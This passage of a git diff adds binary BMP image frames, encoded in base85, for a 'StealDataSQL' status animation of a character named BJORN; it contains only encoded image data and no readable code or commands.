zfrM&^uafZ9Lav6-R&yv*a%7DKDla>0M5TK2q_gXcWwe&^Ls`My2lws8VX%HqeKNJu zM5PqrGY}B30ybKjbwzy`;EDxk)B>qc|C9nDRT2Tm9Iw#|nMRJz0q|Z_S6CbkOeTtk zg&J6(f%z(+tAMNGk_!jHb>mb)F1;8G)|IPQ!PDPYRB+3OvRWQ>_Vj5sgW+j!m!_5_ zsicU2g$Oxv;KKrRp|wa0)RjvFAVaC8VD}`BMI=fwk4?tMDL__|0#MX`@m}D=05=B3 z6=-3;M#5L|q9zZK)r?jJICiJenCH%(wTScq<%hDOk1~I20-QNUtFiCiEe7T$XOBZ(P6r%L6~~-%r5`9u2;{udJ+ab#)=(0<#j~XarEQz#c#jqy?YN z3pff9M=9c|#eBe_L|JjMa&u^!omPW-xKJhKse#|Z!e|Mrzm`*xmoQXCb?RX~B0IaS z?E!eohYI?3ZaxvKrMF$Xc2daXU=RC2aiW27QYF~I@)>dv!~(WLz*Pu23NaffrxdW5 zgkMP}`Hc3nvmkIY%g17Dr1)n45gDnADE#d$swUEt-#Ks^Xb_FPuMyN7>FA!<}e~KU||7iNCWWzB_d?W`P9sKUg?;)Bq_dF=HJM2$+{0pp> z;eEN|D?E|tVP~BMN0tso25b3B5nUl+#X;OSDTf&mqJ;#&lp>ByK#f<@3q~OM1L06V zM_(_`snwOw-}&pE51WC1jTH>%+VvlE$BlKg?L+W!7^-26>?cix*@;qC0>oiPVo+9? z7b9n7r%NXeg%w<^vuzJKBK!96K?};q2k4)sa8jI_P|&DY=T5J{wcd)d%1o&)5Z zfl7X=gw2i!PL%Nn#7jq{OO(8D4~JfX-kx={W;}e@_NM`U!k7OV>+i?-{KfO-D_5}T zG`HS8=s_MTY9tfuA1h+=i6Jh%ZTx(^^G4=ey>j{YxBMID|2``a*rM_M`*#}`%mtq{ zc{%p6>uK%f>JUXD6c*&S9y?+ovo!lRC@p>d`>cQBxPSlNo?SZ@Eu6pO>o2cg2fq+_ zd;Hs=;4%MKtiK@rH~;-Fv7&DMkvqQkpSAxI>-!J%6WsAX#R~p!+s8P={}?M+uRomk Ne~R@Z{n*Ot{{i&YIi3Ij literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL5.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a6cd3fbe6d518ed8cc07c286e342e076c358753c GIT binary patch literal 18462 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 Het!Q4(mo13 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL6.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 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 